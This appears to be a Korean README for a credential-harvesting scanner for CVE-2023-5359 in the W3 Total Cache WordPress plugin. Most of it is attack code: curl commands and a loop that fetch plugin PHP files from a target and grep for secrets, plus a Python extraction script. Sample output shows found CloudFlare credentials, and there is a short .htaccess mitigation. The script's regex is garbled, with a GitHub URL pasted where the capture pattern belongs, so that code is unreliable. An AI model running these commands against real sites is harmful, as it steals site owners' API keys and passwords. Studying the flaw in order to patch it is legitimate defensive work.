
CVE-2023-5359 - W3 Total Cache 평문 저장 취약점 스캐너. W3 Total Cache 플러그인 버전 ≤ 2.7.5에서 노출된 자격 증명을 탐지합니다.
CVE-2023-5359는 WordPress 플러그인 W3 Total Cache 버전 ≤ 2.7.5에 영향을 미치는 평문 저장 취약점입니다. 이 취약점으로 인해 원격 공격자는 공개적으로 접근 가능한 암호화되지 않은 PHP 파일에 저장된 민감한 자격 증명에 접근할 수 있습니다.
W3 Total Cache는 /wp-content/plugins/w3-total-cache/ 디렉토리 내의 PHP 파일에 구성 설정과 API 자격 증명을 적절한 보호 없이 저장합니다. 이러한 파일은 HTTP를 통해 접근 가능하므로 다음이 노출됩니다:
/wp-content/plugins/w3-total-cache/Extension_CloudFlare_Plugin.php
/wp-content/plugins/w3-total-cache/Generic_Plugin_Admin.php
/wp-content/plugins/w3-total-cache/Extension_FeedBurner_Plugin.php
/wp-content/plugins/w3-total-cache/Config.php
/wp-content/plugins/w3-total-cache/Cache_File.php
# Check if W3 Total Cache is installed
curl -s https://target.com/ | grep "w3-total-cache"
# Extract CloudFlare credentials
curl -s "https://target.com/wp-content/plugins/w3-total-cache/Extension_CloudFlare_Plugin.php" | grep -E "client_id|client_secret"
# Search all vulnerable files
for file in Extension_CloudFlare_Plugin.php Generic_Plugin_Admin.php Config.php; do
echo "=== $file ==="
curl -s "https://target.com/wp-content/plugins/w3-total-cache/$file" | grep -E "api_key|password|secret"
done
#!/usr/bin/env python3
import requests
import re
target = "https://victim.com"
files = [
"/wp-content/plugins/w3-total-cache/Extension_CloudFlare_Plugin.php",
"/wp-content/plugins/w3-total-cache/Generic_Plugin_Admin.php"
]
for file in files:
response = requests.get(target + file)
credentials = re.findall(r"(api_key|client_secret|password)\s*=\s*['\"](https://github.com/enzocipher/cve-2023-5359/blob/HEAD/%5B%5E%27%5C%22%5D+)", response.text)
if credentials:
print(f"[!] Credentials found in {file}:")
for key, value in credentials:
print(f" {key}: {value}")
공격자는 다음을 얻을 수 있습니다:
# .htaccess protection
<Files *.php>
Deny from all
</Files>
<Files "w3-total-cache.php">
Allow from all
</Files>
# Check for vulnerable version
curl -s https://target.com/wp-content/plugins/w3-total-cache/w3-total-cache.php | grep "Version"
[*] Scanning: https://example.com
[+] W3 Total Cache detected
[+] Accessible file: /wp-content/plugins/w3-total-cache/Extension_CloudFlare_Plugin.php
[!] CREDENTIALS FOUND:
client_id: GAxxxxxxxxxxxx78
client_secret: ABcdEFghIJklMNopQRstUVwxYZ012345
이 저장소는 교육 목적 및 승인된 침투 테스트 전용입니다. 이 정보의 악의적인 사용은 엄격히 금지됩니다.
이 정보가 유용했나요? 저장소에 Star를 남겨주세요!
최종 업데이트: 2025년 11월